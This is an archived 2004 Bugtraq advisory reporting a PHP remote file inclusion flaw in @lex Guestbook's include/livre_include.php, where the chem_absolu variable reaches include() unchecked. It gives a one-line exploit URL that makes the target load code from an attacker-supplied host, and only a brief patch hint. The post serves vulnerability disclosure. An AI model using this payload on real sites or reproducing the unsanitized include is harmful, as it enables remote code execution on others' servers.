[36708] in bugtraq

home	help	back	first	fref	pref	prev	next	nref	lref	last	post

@lex Guestbook (PHP) Include file

daemon@ATHENA.MIT.EDU (Himeur Nourredine)
Tue Sep 28 13:56:44 2004

Date: 26 Sep 2004 14:36:56 -0000
Message-ID: <20040926143656.16859.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Himeur Nourredine <lostnoobs@security-challenge.com>
To: bugtraq@securityfocus.com



Informations : 
°°°°°°°°°°°°°° 
Website : http://www.alexphpteam.com
Version : all
Problem : Include file 



PHP Code/Location : 
°°°°°°°°°°°°°°°°°°° 
./include/livre_include.php

------------------------------------------------------------------ 
if (!$no_connect).... some include() functions
------------------------------------------------------------------ 

Exploit : 
°°°°°°°°° 
http://[target]/include/livre_include.php?no_connect=lol&chem_absolu=http://[attacker]/file.ext%3f


Patch : 
°°°°°°° 
You must to fix the variable $chem_absolu.


Nourredine Himeur aka LostNoobs

"I'm looking for a job in France"
you can see my curriculum vitae 
on www.security-challenge.com/delires/

#s-c on irc.fr.worldnet.net
www.security-challenge.com
www.hacklink.net
www.opensavoir.com

home	help	back	first	fref	pref	prev	next	nref	lref	last	post